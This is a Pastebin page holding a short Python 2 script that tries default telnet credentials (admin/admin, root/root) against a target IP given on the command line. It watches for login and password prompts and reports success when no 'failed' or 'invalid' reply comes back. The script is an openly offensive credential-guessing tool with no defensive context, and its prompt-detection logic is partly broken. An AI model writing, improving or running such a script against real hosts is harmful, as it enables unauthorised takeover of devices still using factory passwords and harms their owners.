Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket, random, sys, time
- if len(sys.argv)<2:
- print "Usage: "+str(sys.argv[0])+" <ip>"
- sys.exit(0)
- ip=str(sys.argv[1])
- def createConnection(ip,port):
- sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- sock.settimeout(5)
- sock.connect((ip,port))
- return sock
- def isLoginRequired(data):
- return (data.index("Username:")>0 or data.index("username:")>0 or data.index("Login:")>0 or data.index("login:")>0)
- def isHacked(data):
- return (not (data.index("ailed")>0 or data.index("nvalid")>0))
- cracked=False
- hash=[]
- hash.append(('admin','admin'))
- hash.append(('root','root'))
- index=0
- while cracked!=True:
- try:
- sock=createConnection(ip,23)
- time.sleep(1)
- data=sock.recv(1024)
- user=hash[index][0]
- password=hash[index][1]
- if isLoginRequired(data):
- sock.send(user+"\r\n")
- print "\033[32;2mlogin sent "+user+"\033[0m"
- time.sleep(1)
- data=sock.recv(1024)
- if data.index("Password:")>0 or data.index("password:")>0:
- print "\033[32;2msending password ("+password+")...\033[0m"
- sock.send(password+"\r\n")
- data=sock.recv(1024)
- if isHacked(data):
- print data
- cracked=True
- else:
- print data
- cracked=True
- sock.close()
- index=index+1
- if index==len(hash):
- break
- except KeyboardInterrupt, SystemExit:
- sys.exit(0)
- except:
- print "error"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement